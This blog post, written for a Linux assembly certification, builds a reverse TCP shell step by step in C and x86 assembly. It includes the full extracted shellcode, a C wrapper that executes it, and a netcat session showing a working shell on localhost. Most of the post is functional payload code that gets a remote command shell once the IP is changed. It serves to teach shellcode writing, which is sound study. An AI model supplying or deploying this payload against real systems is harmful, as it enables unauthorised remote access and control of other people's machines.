SLAE 0x2 – Shell_Reverse_Tcp

In the last post, we looked at writing the shell_bind_tcp assembly program. In this post, we will write reverse shell in assembly.

Unlike bind tcp where the port is opened on the target system. Here we have a port listening on our attacker machine and the victim connects to our open port and sends us a shell. Hence a reverse shell.

Similar to the last post lets look at the C code for shell_reverse_tcp

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
{
int clientfd, sockfd, ret;
int dstport = 8080;
struct sockaddr_in mysockaddr;

sockfd = socket(AF_INET, SOCK_STREAM, 0);

mysockaddr.sin_family = AF_INET; //2
mysockaddr.sin_port = htons(dstport); //8000
mysockaddr.sin_addr.s_addr = inet_addr(“127.0.0.1”); //localhost

// connecting to attacker’s machine
ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
if(ret == -1)
{
perror(“Attacker’s machine is not listening. Quitting!”);
exit(-1);
}

dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);

execve(“/bin/sh”, NULL, NULL);
return 0;
}

Here the following function calls are required for a reverse shell.

socket
connect
dup2
execve

Lets tackle one function call at a time and write our assembly code

Most of the function calls are very similar to the bind shell. So do have a look at the bind shell post to understand the reverse shell code.

socket: Socket function call is same as the one we wrote for bind shell.

int socketcall(int call, unsigned long *args);

int call is the actual type of call which is “sys_socket” in our case. args points to a block containing the actual arguments, which are passed through to
the appropriate call.

What are the actual arguments?

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)

The following header files give us values for each argument

/usr/include/linux/in.h  – IPPROTO_IP = 0, /* Dummy protocol for TCP */
/usr/include/bits/socket_type.h – SOCK_STREAM = 1
/usr/include/bits/socket.h – define AF_INET 2

Now lets push each argument on the stack in reverse order and move the address (esp) of the arguments into ecx.

xor edx, edx; flushing edx
push edx ; pushing third argument IPPROTO_IP//0
push byte 1 ; SOCKSTREAM tcp//1
push byte 2 ; AF_INET// 2
mov ecx, esp ; address of the arguments of sys_socket

ebx will store the type of socket call – sys_socket i.e 1 (#define SYS_SOCKET 1). eax will store the syscall for socketcall i.e 102 (#define __NR_socketcall 102). On success, a file descriptor for the new socket  (sockfd) is returned which is stored in eax. We will copy it to edi for later use

xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
xor ebx, ebx ; flushing ebx
mov bl, 1 ; #define SYS_SOCKET 1
int 0x80 ; syscall
mov edi, eax ; storing the value of sockfd into edi for later use

connect: Lets look at the connect function call

ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));

Again connect function call is really similar to the bind function call. The only major difference here is we will change the inet_addr from 0 which means all interfaces to 127.0.0.1 since we are connecting to localhost on port 8000. However note since 127.0.0.1 in hex 0x7f000001 contains null bytes so we split into two instructions mov ebx, 0x12111190 and sub ebx, 0x11111111 Once we push all the arguments, ecx will hold the address to the arguments of the connect function and ebx will hold the type of call connect i.e 3 (#define SYS_CONNECT 3)

; mysockaddr.sin_family = AF_INET; //2
; mysockaddr.sin_port = htons(dstport); //8000
; mysockaddr.sin_addr.s_addr = inet_addr(“127.0.0.1”); //localhost
; ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
; int socketcall(int call, unsigned long *args);
xor ebx, ebx ; flushing ebx
;#define INADDR_LOOPBACK 0x7f000001 /* 127.0.0.1 */
mov ebx, 0x12111190 ; to avoid null in IP address
sub ebx, 0x11111111
push ebx ; 0x0100007f
push word 0x401f ; 8000
push word 2 ; AF_INET//2
mov ebx, esp ; address of mysockaddr
push byte 16 ; sizeof(mysockaddr)//16
push ebx ; push address of mysockaddr
push edi ; sockfd
mov ecx, esp ; address of connect
xor ebx, ebx ; flushing ebx
mov bl, 3 ; #define SYS_CONNECT 3
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall

dup2:

Here we need to call dup2 3 times. From the previous syscall we know that eax holds clientfd. Lets place clientfd into ebx. The syscall for dup2 is 63 (#define __NR_dup2 63). Lets also place 2 into ecx and then run into a loop and decrement ecx till the signed flag is set.

;dup2(clientfd, 0);
;dup2(clientfd, 1);
;dup2(clientfd, 2);
;#define __NR_dup2 63
mov ebx, eax ; clientfd
xor eax, eax ; flushing eax
xor ecx, ecx ; flushing eax
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin

dup2loop:

mov al, 63 ; #define __NR_dup2 63
int 0x80 ; syscall
dec ecx ; decrement ecx
jns dup2loop ; jump if not signed; loop until cl becomes 0

execve 

Finally lets write our execve shellcode which executes /bin/sh. The comments below explain the assembly code.

; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve(“/bin/sh”, NULL, NULL);
; push NULL terminated program/file name
xor eax, eax ; flushing eax
push eax ; NULL
; push //bin/sh
push 0x68732f6e ; hs/n
push 0x69622f2f ; nib//

mov ebx, esp ; address of //bin/sh
mov edx, eax ; NULL third argument envp
mov ecx, eax ; NULL second argument argv
mov al, 0xb ; #define __NR_execve 11
int 0x80

Lets put it all together.

; /usr/include/i386-linux-gnu/asm/unistd_32.h
; /usr/include/linux/in.h IPPROTO_IP = 0, /* Dummy protocol for TCP */
; /usr/include/bits/socket_type.h SOCK_STREAM = 1
; /usr/include/bits/socket.h: #define AF_INET 2
; /usr/include/linux/in.h #define INADDR_LOOPBACK 0x7f000001 /* 127.0.0.1 */
global _start
section .text
_start:

; sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
; int socketcall(int call, unsigned long *args);
; #define SYS_SOCKET 1
xor edx, edx; flushing edx
push edx ; pushing third argument IPPROTO_IP//0
push byte 1 ; SOCKSTREAM tcp//1
push byte 2 ; AF_INET// 2
mov ecx, esp ; address of the arguments of sys_socket
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
xor ebx, ebx ; flushing ebx
mov bl, 1 ; #define SYS_SOCKET 1
int 0x80 ; syscall
mov edi, eax ; storing the value of sockfd into edi for later use

; mysockaddr.sin_family = AF_INET; //2
; mysockaddr.sin_port = htons(dstport); //8000
; mysockaddr.sin_addr.s_addr = inet_addr(“127.0.0.1”); //localhost
; ret = connect(sockfd, (struct sockaddr *) &mysockaddr, sizeof(struct sockaddr_in));
; int socketcall(int call, unsigned long *args);
xor ebx, ebx ; flushing ebx
;#define INADDR_LOOPBACK 0x7f000001 /* 127.0.0.1 */
mov ebx, 0x12111190 ; to avoid null in IP address
sub ebx, 0x11111111
push ebx ; 0x0100007f
push word 0x401f ; 8000
push word 2 ; AF_INET//2
mov ebx, esp ; address of mysockaddr
push byte 16 ; sizeof(mysockaddr)//16
push ebx ; push address of mysockaddr
push edi ; sockfd
mov ecx, esp ; address of connect
xor ebx, ebx ; flushing ebx
mov bl, 3 ; #define SYS_CONNECT 3
xor eax, eax ; flushing eax
mov al, 102 ; #define __NR_socketcall 102
int 0x80 ; syscall

; dup2(sockfd, 0);
; dup2(sockfd, 1);
; dup2(sockfd, 2);
;#define __NR_dup2 63
mov ebx, edi ; sockfd
xor ecx, ecx ; flushing ecx
mov cl, 2 ; 2 for stderr / 1 for stdout / 0 for stdin

dup2loop:

mov al, 63 ; #define __NR_dup2 63
int 0x80 ; syscall
dec ecx ; decrement ecx
jns dup2loop ; jump if not signed; loop until cl becomes 0

; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve(“/bin/sh”, NULL, NULL);
; push NULL terminated program/file name
xor eax, eax ; flushing eax
push eax ; NULL
; push //bin/sh
push 0x68732f6e ; hs/n
push 0x69622f2f ; nib//

mov ebx, esp ; address of //bin/sh
mov edx, eax ; NULL third argument
mov ecx, eax ; NULL second argument
mov al, 0xb ; #define __NR_execve 11
int 0x80

Lets compile and link the program

ddpinto@ddpinto-VirtualBox:~$ ./compile.sh shell_reverse_tcp
[+] Assembling with NASM …
[+] Linking …
[+] Done! …

Lets extract shellcode using some cmdfu
ddpinto@ddpinto-VirtualBox:~$ objdump -d ./shell_reverse_tcp|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’
“\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x89\xc7\x31\xdb\xbb\x90\x11\x11\x12\x81\xeb\x11\x11\x11\x11\x53\x66\x68\x1f\x40\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x89\xe1\x31\xdb\xb3\x03\x31\xc0\xb0\x66\xcd\x80\x89\xfb\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc2\x89\xc1\xb0\x0b\xcd\x80”

Lets embed the shellcode into our c wrapper

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
“\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\x31\xc0\xb0\x66\x31\xdb\xb3\x01\xcd\x80\x89\xc7\x31\xdb\xbb\x90\x11\x11\x12\x81\xeb\x11\x11\x11\x11\x53\x66\x68\x1f\x40\x66\x6a\x02\x89\xe3\x6a\x10\x53\x57\x89\xe1\x31\xdb\xb3\x03\x31\xc0\xb0\x66\xcd\x80\x89\xfb\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc2\x89\xc1\xb0\x0b\xcd\x80”;
main()
{
printf(“Shellcode Length: %d\n”, strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

Lets compile the C code and run it

ddpinto@ddpinto-VirtualBox:~$ gcc -fno-stack-protector -z execstack shellcode_shell_reverse_tcp.c -o shellcode_shell_reverse_tcp

Before running our shellcode lets create a listener on port 8000

ddpinto@ddpinto-VirtualBox:~$ ./shellcode_shell_reverse_tcp
Shellcode Length: 96

Now lets run the shellcode

ddpinto@ddpinto-VirtualBox:~$ ./shellcode_shell_reverse_tcp
Shellcode Length: 96

 

ddpinto@ddpinto-VirtualBox:~$ nc -lvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from localhost 54664 received!
whoami
ddpinto
id
uid=1000(ddpinto) gid=1000(ddpinto) groups=1000(ddpinto),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Here you go, we have a reverse shell

Github: https://github.com/buffered4ever/SLAE – 0x2

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-1932

Leave a comment

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: